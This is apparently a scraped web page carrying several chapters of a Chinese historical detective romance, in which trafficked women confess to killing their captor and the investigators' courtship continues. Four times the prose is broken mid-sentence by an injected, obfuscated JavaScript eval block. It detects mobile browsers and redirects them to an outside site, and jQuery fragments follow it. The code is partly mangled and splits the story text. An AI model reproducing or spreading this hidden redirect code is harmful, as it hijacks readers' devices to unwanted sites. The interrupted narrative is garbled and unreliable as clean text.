“有的时候,凶手不只只是一个。” 薛嘉玉很快就明白他话里的意思,“你是觉得陶维钧是被那些被拐走的女子们联合杀的吗?” “既然你都这么快反应过来了,想必你肯定也很早就这么怀疑了。虽然别人都说女子本弱,但其实女子也是非常刚烈的,只要她们意识觉醒,就会爆发出一种前所未有的凝聚力。” 她用手捏了捏裴砚的腰,咬咬牙道:“你不是说自己一点都不了解女子的吗?” 裴砚被捏得有些发疼,他往旁边躲了一下,“我祖母年轻时候领兵打仗,驰骋沙场,御下有方,这就说明了女子从来都不输男子。” “要是有一天,我也能够进大理寺就好了。” 这样的话,她就再也不用被那些人给看轻了,而那些男仵作也不敢拿她的性别做文章了。 “会的,迟早的事。” 薛嘉玉只当他是在安慰自己,毕竟这世道是不允许女子手中掌握太多权力的,否则就会威胁到他们男人的地位。 到了东苑,这里的住所密密麻麻,有的可以自己一个人住,有的甚至得要四五个女子挤一间小小的屋子,里面的装潢十分破旧,坐在床上都会发出吱呀吱呀的响声,睡在床上都要小心翼翼的,生怕把这唯一的床给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126814|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压坏了。 她们的住所比起陶维钧和那些贵客的住所简直就是一个在天上,一个在地下,根本不能与之相比——不——应该说是女子的住所就根本不配跟他们的比较。 薛嘉玉随便挑了一间房,敲响了房门,很快里面的女子便前来开门,那女子见门外站着一男一女,且那男子气度不凡,于是猜测这两位应该就是大理寺的。 女子想要把门关上,薛嘉玉就以迅雷不及掩耳之势抬起手臂,撑住大门,“这位娘子,我们是想来问你们一些事情的,只有你们一五一十地告诉我们,我们才能还你们一个真相,安安全全地送你们出去。” 见那女子的脸上显现出一丝犹豫,薛嘉玉便趁胜追击,“你们也不想再看见越来越多的妙龄女子被拐到这里吧。” 大抵是这句话说到了女子的心坎上,女子便打开门,侧了侧身,请他们二人进去。 “请吧,二位。我们房间小,没什么好东西可以招待你们,还望见谅。” 薛嘉玉瞧见里面还有三位女子围坐在一起,手里拿着针,在圆扇上绣着东西,听见身后有动静,便把扇子收起来,齐齐回头看向薛嘉玉和裴砚两个人。 薛嘉玉看向给他们俩开门的那位女子,“我叫嘉玉,请问你怎么称呼?” “我叫马盼楠,盼望的盼,楠是木加南。” 她不忍叫后面那两个字,“马娘子,你们都是被陶维钧的人拐到此处的吗?” 马盼楠微微颔首,她瞟了眼后面那三位女子,“没错,我们都是被拐来的。有的是金陵本地人,有的是从洛阳拐来的。” 洛阳?又是洛阳。 薛嘉玉急切地追问:“除了这两个地方以外,还有没有女子是从别的地方拐来的?” “很少,只有寥寥几个。” “那平时陶维钧都是怎么对待你们的?” 马盼楠不禁叹了一口气,她的眼眶微微发红,眼眶中有泪水在打转,“他只当我们是能给他带来金钱的工具。我们被拐到这里后,就没有了不听话这个选择,不听话就会被直接丢到山下面摔死,之前有几位姐妹就趁着夜色想要逃出去,可还没逃出去几里,就被侍卫抓了回来,然后陶维钧眼睛都没眨一下,就把她们丢了下去。 此后,再也没有姐妹敢反抗他了,毕竟清白和尊严没有自己的生命重要。他每个月都会定时请一批宾客来这儿待上半个月的时间,而那半个月是我们最生不如死的日子,贵宾们根本不把我们当人看,能怎么折磨我们就怎么折磨,陶维钧甚至连大夫都不请给我们看。” 听到后面,薛嘉玉已经能够想象到她们那半个月里都经历多么惨无人道的折磨,那些贵宾因为一生下来就有钱有权,为了寻求快感,就会去折磨女子,看见她们衣冠不整地趴在地上,楚楚可怜地求着他们,他们就会觉得十分有成就感和满足感。 而那些对此嗤之以鼻的男子一旦亲自遇到了这种事情,最终自己做的还是会与自己说的背道而驰。 马盼楠忽地握紧薛嘉玉的双手,视线在她和裴砚身上逡巡,神情甚是激动,“我们都知道你们是大理寺的,这位大人想必与那陶维钧不是一路人,还望你们二人能够将我们带走,让我们同家人团聚。” 同家人团聚…… 薛嘉玉顿时不敢对视马盼楠那双眼神,她换了个话题,“那你们可知陈昭和陶维钧的关系?” 35. 引蛇出洞 马盼楠曾经见过几次陈昭,但是不知道陈昭和陶维钧之间的关系,她摇摇头,“我不知道。但是我只知道陈昭是这里的常客,哪怕陶维钧没有邀请他来,他只要得空就会来,而且陶维钧每一次都好吃好喝地特别招待着。” 薛嘉玉默默点头,一时间想不起来问什么了。 这时,一直沉默的裴砚忽然间出声了,“对于燕柳这个人,你们都是怎么看待她的?” 马盼楠没有和燕柳说过话,只匆匆见过几面,倒是那三位围坐在一起的一位女子和燕柳交谈过,那女子敛了敛眉,“燕柳姑娘人很好,就是有点独来独往。听她说,她是从洛阳来的。她一直以来都很迫切地想要逃出去,甚至鼓舞我们一块儿逃出去,可是我们哪里敢逃呢?” 薛嘉玉抓住了“独来独往”这个词,尚未来得及说话,就听见裴砚这人抢前一步道:“那你们可知她为何独来独往?” 她们四人皆是摇了摇头。 少顷,只听薛嘉玉缓缓说:“因为燕柳怀孕了。” 她的嗓子有些嘶哑,裴砚知道她是在强忍,便抬起手轻轻拍了拍她的后背,以示安慰。 在场的四位女子皆是一惊,她们互相交换了一个眼神,旋即马盼楠问:“那燕柳姑娘究竟是被谁害死的?” 薛嘉玉垂眸,她狠下心回答:“她是自杀,我想她应该是趁着裴砚来这儿做客的时机,用自己的死来引起轩然大波,这样陶府的事情才会被世人所知,而你们也能平平安安走出这座山,未来也不会再有无辜女子踏进这座山。” “马娘子,我们就先走了。” 马盼楠极力地忍住即将夺眶而出的泪水,“好,你们慢走。” 出了女子成堆成山的东苑,裴砚用自己的手帕给她擦擦眼睛,薛嘉玉将脑袋往后面一缩,“不用,我没哭。” 他知道薛嘉玉这么说是要面子,但是他们二人如今已然互通心意,那裴砚也希望她能把自己当成一个可以信赖的人。 “刚刚看你眼眶都红了,还强撑着呢?” “没有强撑。”薛嘉玉瞪大眼睛,不敢眨眼睛,否则眼泪就会瞬间流下,她生硬地转移话题,“对了,大人,你不觉得陈昭和陶维钧之间不像是一种简单的主客关系吗?倒像是陶维钧在讨好陈昭。” 裴砚将自己的手帕叠好放回袖子里,“陶维钧讨好陈昭是情理之中的事情。在这世道里,士农工商,身为商人的陶维钧即使富甲一方,但地位却是最卑微的。可陈昭就不同了,陈家是簪缨世家,若是陶维钧脑袋上有陈昭罩着,那他就不必担忧养私妓这种事情了。” 薛嘉玉两手抱臂,板着脸吐槽:“真不愧是陈晟的表弟,都一样贪财好色。” “至少陈晟不是那么的毫无底线。” 她腾出一只手,狠狠捏了一下他的手臂,一点儿都没有手下留情,“你就知道替他说话,原本看你们俩剑拔弩张的,还以为你俩是老死不相往来的死对头,没想到你们居然还算得上是挚友。” 裴砚吃痛地捂着自己刚才被掐的那一寸皮肤,“好了,我不提他了,行吗?” “大人,我们现在虽然对陶维钧死亡的真相有了猜测,可是我们没有证据啊。把这陶府都掀翻了,也没找到凶器,又没有证人,这可如何是好?” 裴砚饶有深意地摇摇头,“不,还有一个人。” 陈昭一脸不耐烦地盯着面前那个深色冰冷的男子,“裴砚,我能说的我都说了。你到底还想让我怎样?” 裴砚若无其事地把玩着腰间的玉佩,“我已经对陶维钧死亡的事情有眉目了,但苦于没有证据,陈公子在这儿混迹已久,对这里的侍女动辄打骂,若是不速速配合我抓到凶手,只怕明早我就会发现你的尸体了。” 闻言,陈昭的脸霎那间垮了下去,他眉间一冷,“什么意思?” 他仰起头,示意让薛嘉玉来说。 薛嘉玉将一切娓娓道来,“其实一开始燕柳的死是可以被掩藏下去的,但是陶维钧他想要摆脱你的控制,所以就主动把燕柳的死抬到明面上来,想要嫁祸给你,但嫁祸不成,自己先死了。” 陈昭的眉头陡然一皱,脸色“唰”的就变了,“薛夫人是觉得我害死了陶维钧?” 只见她摇摇头,“当然不是这个意思。若陈公子是凶手,大可把陶维钧推到山下面去,让他尸骨无存,但是你却主动让人把他从土里面挖出来,这就说明了你不可能杀死他,而你也大概猜到了他的死因,想要借此机会将陶府偷养私妓的事情曝光,把所有罪责推到陶维钧身上,自己则可以拍拍屁股走人。所以这整件事情都是你们再不断利用燕柳的死互相推脱责任。” “直说吧,你们想让我做什么?” 薛嘉玉微勾唇角,她的眸中顿显狠厉,“我们希望你能够引蛇出洞,将杀死了陶维钧的女子们引出来。” “女子们?”陈昭将重音放在了“们”字上头。 裴砚也很不愿意将这群自行执行正义的女子们抓捕起来,但是若不秉公执法的话,只怕会掀起社会上的轩然大波,要是有越来越多的人去效仿,越过司法机关,去自行执行正义,那社会便会陷入无尽的黑暗。 他微微颔首,“没错。” 夜里,陈昭叫一位侍女来到了自个儿厢房里,他让美人躺在自己的怀里,还用手指刮了刮她的下巴,他面无波澜地说:“听说明天那裴砚就要走了,没想到陶维钧的案子居然不了了之了,看来这大理寺少卿也没什么能耐。等他走后,就让我守在这陶府陪着你们,怎么样?” 女子的眸中忽然间没了什么光亮,她迟疑地问:“公子可知裴大人为何不继续往下面查了?” 陈昭发自真心地嗤笑一声,“那个裴砚就是个只会纸上谈兵的人,他只会通过骗人从凶手那儿炸出点什么消息,这可是大理寺的惯用套路,至于他们到底有没有查出来真相,也就只有他们自己才知道。况且,这陶府不也还有我在嘛,裴砚哪里敢动我?” 女子的心一点一点地沉了下去,她脸上血色渐失,双眸亮晶晶的,似乎是有泪水在打转,顾及到这里还有陈昭在,她不敢露出负面神态,便强行扬起一抹僵硬的笑容。 “原是这样,倒也合情合理。” 陈昭用手指捏住她的下巴,向上抬了抬,“怎么瞧你脸色不太好?” 女子瞧他有些生气,下意识哆哆嗦嗦起来,她立刻矢口否认,“没有。” 他松开了女子,“不舒服就滚回去,一会儿要是像燕柳一样死了赖我身上,可就不好了。” 女子连忙穿好衣服跑走了。 此时,东苑附近,裴砚和薛嘉玉已经顶着寒风徘徊了好一阵儿了,薛嘉玉扯了扯袖子,踮踮脚尖,“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132697|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没动静啊?陈昭不会临时反悔了吧?” “陈昭不是个傻子,分得清利害关系。” 话刚一落地,又一阵寒风卷卷袭来,毫不留情地打在了薛嘉玉的脸蛋上,她此刻耳尖冻得通红,手背开始呈青紫色,她忍不住打了一个喷嚏。 薛嘉玉蹲在地上,两手抱着腿,“怎么今天晚上这么冷啊?” 下一刻,一件温暖且夹带了一丝檀香的披风轻轻落在她的身上,旋即薛嘉玉的头顶上传来了裴砚责备的声音。 “知道冷,还不多穿一点?” 她小声抱怨,“穿多了又热。” 裴砚刚打算继续跟她斗嘴,就听见一阵风吹草动,二人立刻就着夜色掩护好自己,只见从陈昭屋里跑出来的那位女子提着裙子,匆匆忙忙地跑到东苑里。 为了不打草惊蛇,二人并未跟着走进去,而是假装在这附近散步赏月。 二人正在兴头上,忽然一众女子从东苑跑了出来,马盼楠见裴砚就在附近,立刻冲了上去,然后跪在地上,她二话不说便冲着裴砚磕了磕头,裴砚急忙伸手将她扶起来。 “马姑娘,怎么突然给我磕头?还有,这都这么晚了,你们这些小娘子怎么全都跑了出来?” 马盼楠依旧跪在地上,两手交叠,与额头齐平,“大人,还望你不要姑息此事啊,这陶府万万不能落到陈公子手里,否则姐妹们都会没命的!我就和大人明说了吧,是我们杀死了陶维钧,我们每一个人都往他身上狠狠刺了一刀,不然难解心头之恨。” 薛嘉玉蹲在地上,眼底掀起一丝波澜,她柔声反问:“可是若把你们上报官府,那你们的下半生可就要在黑暗无光的牢狱里面度过了,甚至还有可能被赐白绫一条。” 马盼楠莞尔一笑,眼眶却瞬间红了,一滴一滴的眼泪从眼角滑落,“这个后果我们在做之前就已经做好了心理准备了,我们宁愿死,也要把陶维钧这个贱人给杀了,不然只会有更多的女子像我们一样,过着牲畜不如的生活。原本我们也一直踌躇不前,是燕柳的死,让我们明白了,女子想要反抗就得要豁出性命,才有可能被别人看见。” 听及此,薛嘉玉的眸中也不禁蓄起眼泪,她仰起头,对着一望无际的黑夜长叹一口气,“这样真的值得吗?” 可马盼楠没有明确回答,而是反问了一句,“有什么不值得的呢?” 裴砚单手将薛嘉玉从地上揪了起来,“那明日你们同我一起去衙门吧。” 马盼楠和身后的众位女子皆跪在地上,异口同声道:“多谢裴大人。” 从她们的语气中能感知到的更多是放松。 燕柳的在天之灵看到这一幕,想必既有无奈,也有欣慰吧。 裴砚抬手捏了捏她的脸颊,皱着眉头问:“阿玉,又哭了?” 薛嘉玉抬起手臂,用袖子迅速擦干净眼泪,“我没有,你别瞎说。” 他绕到薛嘉玉面前,弯下腰,分别握住她的两个纤细的手腕,“还狡辩呢?眼泪都流下来了。” 只听她还是厚着脸皮,做着垂死挣扎,“这不是眼泪,是珍珠——唔!” 下一刻,她便瞧见裴砚忽而凑近,电光火石间吻上了她面颊上的泪珠,裴砚很快就松开了她,好言宽慰:“不要哭,她们将自己的生命搭进去,就是为了不让更多的女子受苦,她们是很伟大的。” 36. 听妻子话的小狗 “你说的是,我不应该伤心,应该为她们感到骄傲和自豪。” 薛嘉玉用手背拭去豆大的眼泪,她转而想起来了一件事情,“对了,大人,你不觉得这里还有一大部分女子来自洛阳很奇怪吗?” 裴砚一直以来都在怀疑这件事情,因为金陵和洛阳之间的距离可算不上近,若是要从洛阳把女子拐到金陵来还不被人发觉,说明了洛阳那边也有一把保护伞在帮着陈昭和陶维钧做这件事情,几人沆瀣一气,形成了这样一条运输链。 他压低眉毛,似乎是看透了薛嘉玉心里面在想什么,试探地开口:“你是觉得洛阳那边接头的人是陈晟?” “我只是怀疑而已,毕竟陈晟就在洛阳,而且也有一定权势,再者他们是表兄弟,穿一条裤子的概率也更大些。” 裴砚很少过问陈晟的事情,一般陈晟不主动说,他也不会主动询问,所以他也不知道陈晟除了在打理自己交给他的一些产业外还有没有在做些别的。 但他们俩大抵认识了这么久,就算经常吵吵闹闹,可裴砚对他还是有那么一丁点脆弱的信任感的。 不过为了让薛嘉玉安心,并且扼杀那微乎其微的可能性,裴砚便做了个决定,“无碍,到时候我们问问他便是。” 薛嘉玉还惦记着被遗忘在家里面的那块价值连城的玉佩,“可这样我们回长安岂不又要耽误好几日了?” “不用去洛阳,陈晟如今在长安。” “为什么?洛阳的产业他不打理了?” 裴砚像是报复似地用手指掐了下她的手臂,“我以为你看得出来崔景天和陈晟之间那点破事儿的。” 听及此,薛嘉玉猛地顿下脚步,立刻摆出一副正经模样,似是不相信地再度询问:“什么?陈晟那个花花公子想要和景天一起?” 他倒是不太担心那俩的事情,忍不住爆了一句大实话,“他们两个都是喜欢泡酒楼的人,在一起也算是臭味相投了。” 薛嘉玉就不一样了,崔景天待她那么好,她实在不忍崔景天又跳进一个火坑里面,愤懑不平地说:“陈晟怎么配得上景天?他若是选择入赘的话,我倒是能勉强接纳他。” “你这么好奇别人的感情做什么?我之前说得带你回趟裴府,你是如何考虑的?” 她推开厢房的大门,听见背后忽然响起一阵噼里啪啦的打雷声,立刻一骨碌钻进了屋里,裴砚的身后立马降下了滂沱大雨。 薛嘉玉急忙把窗户关好,以免狂风灌进来,“怎么又下雨了?” 她刚关好窗户,裴砚就从后面扣住了她的手臂,二人力气悬殊,薛嘉玉就是使出了全身上下所有的力气都挣脱不开。 紧接着,他不悦的声音从脑袋顶上传来。 “别岔开话题,我是认真的,阿玉。” 她抿了抿嘴唇,薛嘉玉目前给不了他一个准信儿,“到时候再说吧,要是有空我就去。” 裴砚有些急了,他两手将薛嘉玉箍在自己怀里,他将下巴轻轻搁在她的肩膀上,语气中含着委屈,“你能给我个准信儿吗?我知道你肯定有什么事情瞒着我,我也不会强迫你说出来,但我希望你对我是认真的,好吗?” 薛嘉玉一向看见美男子卖惨,心里面就会忍不住心疼,裴砚虽然有的时候总是和她斗嘴,也总是调侃她,但是裴砚在钱和送礼这两个方面上从来都不含糊,尤其是上一次她上山遇猛虎,裴砚虽然没有直说,但薛嘉玉能够从他的眼神中看到心疼。 她一时心软,鬼使神差地答应了,“好好好,我随你一块回去,行了吧?” 见她终于大发善心答应了下来,裴砚顿时舒了口气,她将自己的脑袋埋在她的肩膀上,左右晃了晃,像是得了肉吃的小狗在撒娇感恩。 薛嘉玉抬起手摸了摸他毛茸茸的脑袋,“好了,快去睡吧,明早还要早起赶路呢,而且你还得要衙门办事。” 裴砚竖起耳朵,乖乖听她教育自己,“知道了,我这就去睡。” 他等薛嘉玉上了床后,才掀起被子,一骨碌地钻了进去。 薛嘉玉翻了个身,背对着他,脑子里在不断回想着方才裴砚的那句话——“我知道你肯定有什么事情瞒着我”。 看来他对她的身世还是有所怀疑。 她忍不住在心里面叹了口气,在心里面盘算着应该怎么让裴砚答应自己去大理寺的档案室查那些陈年案件呢? 看来想要完全打消他的疑虑并不简单。 想着想着,薛嘉玉就怀揣着满腹疑惑和担忧缓缓进入了梦乡。 次日清晨,她是被裴砚给拍醒的,薛嘉玉实在受不了面前那个人地声音,她烦躁地睁开眼睛,试图用踢被子的方式来表达自己的怒意,“大人,你好好叫我起来不就行了嘛,何必要拍我的屁股?大人,你这是趁人之危!非君子所为。” 裴砚两手抱在胸前,居高临下地盯着她,嗤笑一声,“我本来就不是君子,快起床,这太阳都快要把你的屁股烤烂了。” “知道了知道了,怎么啰里啰嗦的?” 说着,薛嘉玉就翻身下床,将两只脚灵活地塞进了鞋子里面,随后就随便从衣柜里抽出了一套衣服,也不管搭配起来好不好看,反正能穿就是了。 她屏退到屏风后面,裴砚识趣地退到厢房外,免得让她觉得自己换衣服不自在。 薛嘉玉迅速把衣服套在身上,因为起床起晚了,又不想耽误大家伙出发的时辰,所以没有施粉黛,就连头发也只是简单地盘了一个半披发,头发上只簪了那次她自己在西市买的流苏钗。 她一边理了理自己的领子,一边推开门,对在外面候着的裴砚说:“大人,我们出发吧。” 裴砚扶着她上了马车,顺道叮嘱她,“一会儿我要去衙门,你就乖乖待在这里,不准和那个越褚说话。” 薛嘉玉坐在马车上,换做之前,她根本无法将裴砚这个冷漠无情的男人和吃醋这两个字联系在一起。 “你怎么对他醋劲儿这么大?” “因为他居然说不介意做你的面首,这个越褚实在是太不要脸了,这种丧尽天良的事情居然也做得出来。” 见他越说越生气,薛嘉玉就安抚似地摸了摸他的脊背,“别生气啦,你怎么说着说着还把自己弄生气了?你就当越褚不存在就是了,我和他都没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137752|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过几面,我怎么可能会移情别恋?” 裴砚脸色一黑,他毫不留情地戳穿,“那你怎么跟人家第一次见面就差点亲上了?” 瞧他又开始说起这件事情,薛嘉玉就想立刻给他灌下可以让人失忆的药水,她用手指戳了戳裴砚气鼓鼓的脸颊,“那是因为喝了酒,没有了理智,所以才会那样做的。倒是你,你若是还要一而再再而三地提起这件事情,那我可就真的要和你生气了。” 拥有正宫的地位却做着勾栏的事情的裴砚垂下脑袋,一脸愤愤不平地“哦”了一声。 到了衙门,裴砚又立刻换上了一副冷漠无情的活判官的模样,他单手背在身后,同金羽一块进了衙门。 可这时,马车的帷裳忽然间被人掀开了一个角落,薛嘉玉本以为是裴砚,便开口戏谑:“哟,大人这是又把什么东西忘在马车上了?” 但那个人的声音不比裴砚低沉,反而很是爽朗清澈,如清风明月。 “是我,姑娘。” 薛嘉玉立刻就听出来了这道声音的主人,是越褚。 说真的,这位叫越褚的公子还真是会趁人之危,裴砚前脚刚走,他就偷偷爬上了马车。 她忽然幻视一种情郎偷偷翻墙,与有夫之妇私会的情景。 等等,薛嘉玉,你这是在想什么?你和裴砚又没有成婚,况且越褚也并不是情郎,你们二人顶多算是半个朋友,既然是朋友,那见面就是很正常的事情,有什么见不得人的? 都怪那该死的裴砚,一直提防着越褚,弄得薛嘉玉自己都觉得和越褚在一起是像在偷情。 她抬起脑袋,“越公子,你找我所为何事?” 越褚掀开帷裳之时,便看见里面的小娘子安安静静地趴在桌子上,身后的头发自然垂落在肩膀上,头上的流苏簪钗因为微风而轻轻拂动,如今她瞧见他来了,便猛地抬起头来,顺道用手拨了拨垂在肩膀山的秀发,看来在她心里,他越褚不过是一介外人。 “姑娘,之前在陶府和你说的那些话绝无虚言,薛娘子身上的过人之处是长安城中大多贵女过犹而不及的。我昨日关于这件事情想了一整天,我还是想要追求薛娘子,还望薛娘子莫要拒绝,也希望薛娘子在择婿的时候能够看清面前人的嘴脸,做出明智的选择。” 说实话,薛嘉玉真的想不明白这越褚究竟是看上她什么了?他都被裴砚赶走那么多次了,不仅不知难而退,反而得寸进尺。 不行,她得要抓紧时间,速战速决,否则一会儿裴砚要是回来了,那张驴脸指不定要黑成什么样呢。 薛嘉玉佯装镇定地端起泡有云雾茶的茶杯,语重心长地劝诫:“越公子的心意我都明白,但是如今我与文溪两情相悦,若是允许你追求我,那这样将会置文溪于何地?旁人又当如何看待我薛嘉玉?况且,越公子你想,我能够移情别恋第一次,难道我和你定情后就不会移情别恋第二次吗?” 话音刚落,马车里便立刻陷入了无穷无尽的沉默。 良久,才听见他强装无事地说:“我明白了,从今以后我不会再缠着姑娘。但若姑娘某一天需要越某的帮助,越某定会鼎力相助。” 37. 回裴府 薛嘉玉点了点头,越褚也不待在这里自讨没趣,所以速速下了马车。 她将两条手臂交叠放在桌子上,脑袋枕在手臂上,闭上眼睛准备小憩一会儿,等着裴砚聊完事情回来。 裴砚同徐知府就女子们的判决结果聊了许久,等他回到马车上的时候,发现薛嘉玉已经趴在桌子上睡着了,嘴巴微微张着,嘴角还有口水流过的痕迹,看来是睡得十分香甜。 他轻手轻脚地凑过去坐下,生怕打扰她休息。 可是裴砚的屁股才刚挨着座椅,薛嘉玉就忽然醒了过来,她慢慢从桌子上蹭起来,意识到自己的嘴角有什么东西糊着,立马用手帕擦干净。 裴砚伸手给她拨了拨鬓角那儿被汗水沾湿的头发,“是我把你吵醒啦?” 薛嘉玉摇摇脑袋,她两手折起来,用手背撑住脸颊,“没有,判决结果如何?” “马盼楠杀死了陶维钧,被赐白绫一条,其余的女子都被打入大牢,永生不见天日。” 这个结果是在她的意料之中,但薛嘉玉却觉得这样的结果并不在情理之中,明明做错事情酿成今日局面的是陶维钧,但是陶维钧却那么痛快地死了,而那些施张正义的女子们好不容易离开了吃人的陶府,却又要被关进阴暗潮湿的大牢。 她们究竟什么时候才能获得真正的自由呢? 见她甚是心不在焉,裴砚便问:“怎么了?是觉得判的太严了吗?” 薛嘉玉抿着嘴唇摇头,头上的流苏跟着摇晃,“大人和知府都是按律判处,我当然不会有任何异议。” “方才越褚没有偷偷来找你吧?” 她摇了摇头,没有承认。 “那我怎么看你好像很有心事的样子?” 薛嘉玉浅浅地叹了口气,眉间尽显忧愁,“我只是突然间想到有些时候明明是在执行正义,但是最后还是要被依律判处,可是有些作恶多端的达官贵族却从来没有受到过任何惩罚。” 裴砚试探性地开口:“你是又想到了那薛氏一族被杀的的案子?” “对啊,每每想到薛氏一族被杀的案子,我都会觉得很恐怖,原来权贵是真的会让人消失得无影无踪。” 他一边好整以暇地盯着薛嘉玉的脸,一边用手理了理腰间的玉佩,“其实······当年大理寺被买通的事情在大理寺里面是众所周知的。” 薛嘉玉蓦地眼皮一跳,她一脸惊讶地将视线投到裴砚身上,“所以说你们知道是谁买通的?” “这种见不得光的事情自然是不会让我们知道,当年许多知情人士都已经死得干干净净了。” 她下意识变得有些着急,“可现在大理寺的官员已经焕然一新了,你们为什么不旧案重提呢?” 裴砚没有立刻回话,而是面无表情地看着她,观察着她脸上的每一个微表情,旋即沉吟道:“旧案重提?没有这个必要,先不说现如今大理寺案件量巨大,每个人都忙得焦头烂额,最关键的是重审案子的话,风险巨大,说不定查着查着命就没了。反正薛氏都被屠满门了,又何必再查呢?” 薛嘉玉眸光微闪,强行压下心里面那股莫名的悲哀和无力感,她状若无事地说:“你说得倒也没错,就算查明了真相,他们也看不到了。明哲保身,是每个人都明白的道理。” 他歪了下头,本来还想问点什么的,但瞧着薛嘉玉有些魂不守舍,就打消了这个主意。 一路上长途跋涉,跨越了重重山林,趟过了潺潺溪流,马车缓缓驶入长安城门,金羽和裴砚打算先去进宫禀报圣上,薛嘉玉本来是想回家瞧瞧那枚玉佩有没有被偷走,可是裴砚这人居然直接把她送到了裴府门口。 薛嘉玉一脸懵地抬头看了眼写有裴府二字的牌匾,又把视线挪到一旁小计谋得逞的裴砚身上。 “裴砚,你说的让我回裴府,就是一回长安就去啊?” 裴砚若无其事地抱着双臂,“那又如何?反正你是答应了的。” 她摊了摊空落落的手,“可关键是我都没有带礼物啊,我怎么好意思见长辈和兄嫂?” 只见他笑着摆了摆手,裴砚瞧她有些紧张,就出言宽慰,“我爹娘出去游历了,还没回来。府里就只有兄嫂二人,反正你少和裴珩说话就对了,他若是非要跟你搭话,你就点点头不要说话。反正长嫂会给你撑腰的,你不必担忧,我们家风很开放的。” 可薛嘉玉第一次见别人长辈,手里面还什么都没带,她总怕给裴砚的家人或是下人留下不好的印象。 裴砚失笑,抬起两条手臂,搭在她的肩膀上,硬生生把她推到了裴府里面去,他扯着嗓子一喊:“长嫂,我们回来了!” 此时,只见一位美艳绝伦的女子从小厨房里面跑出来,她身上穿着极为淡雅的青色立领襦裙,脖子上还带了一串红玛瑙串,头上不见任何一枚金钗,只佩戴了三支普普通通的木簪。 蒋宁显一边不顾大家小姐形象地跑过来,一边用衣裙将自己的双手擦干净。 她双眸如一潭秋水般澄澈明亮,蒋宁显今日未施粉黛,但依旧容光焕发,她率先把视线投到薛嘉玉的身上,“终于知道回裴府了,你们想吃什么,我马上吩咐小厨房做。” 薛嘉玉自己是客,自然不好意思当真向主人家提意见,她看着有些腼腆,“夫人按照自己的喜好布置即可。” 裴砚知道她是不好意思,但是他希望薛嘉玉也能够把裴府当成半个家,于是他对蒋宁显说:“长嫂,她喜欢吃肉,让小厨房给她弄些鸡鸭鱼肉就成。” 闻言,蒋宁显的脸上不禁露出一丝羡慕的笑容,很快笑容褪去,心里面又只剩下了孤寂和落寞。 有蒋宁显在,薛嘉玉不得不收敛一些,她悄悄用手掐了一把裴砚的背,随后那一道富含危险性的眼神朝着裴砚的方向迅速扫来。 那双眼神仿佛在说:“裴砚!你干嘛!” 裴砚双眸依旧满是笑意,他一把揽过薛嘉玉的腰,丝毫不顾及面前站着的蒋宁显。 他轻轻拍了拍薛嘉玉的腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145882|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让她安心,不用这么战战兢兢的。 随即,裴砚松开了她的腰,对蒋宁显客客气气地说:“长嫂,我还须得进宫面圣,就先走了。” 蒋宁显抬起右臂,五指朝下,掌心朝内,向外扬了扬,莞尔一笑道:“去吧,路上小心。” 待裴砚一走,薛嘉玉嘴角溢出一丝苦笑,“长嫂,你莫要听裴砚胡说,我不挑嘴的。” 可是她却亲昵地挽上了薛嘉玉的臂弯,蒋宁显的目光只在她腰间那枚白虎玉佩上停留了一瞬就收回了,她笑脸盈盈地看着薛嘉玉,“无碍,你不必拘束,想吃什么直说便是。” 她走上前,对蒋宁显行了行礼,“多谢夫人。” “你随我一同来小厨房吧,方才我正在烙煎饼呢。” 薛嘉玉的眼神不自觉地打量着这裴府,她发现府里十分寂静,像是没什么人住在这儿,和她印象中的世家大院有着天差地别。 她小声试探问:“夫人,裴珩大人呢?” “你不必叫我夫人,跟着文溪叫就可以了。”蒋宁显走进小厨房,里面还有不少仆人在忙活着,她拿起擀面杖,在砧板上来回碾白花花的面粉,“如今秋闱已过,吏部要从里面擢选几位德行兼备的学子填补官职空缺,裴珩正在宫里面忙着呢。” 见蒋宁显在擀面,她也不好意思在这里傻站着,便主动询问:“长嫂,这里有什么需要我做的吗?我不怕脏活累活的。” 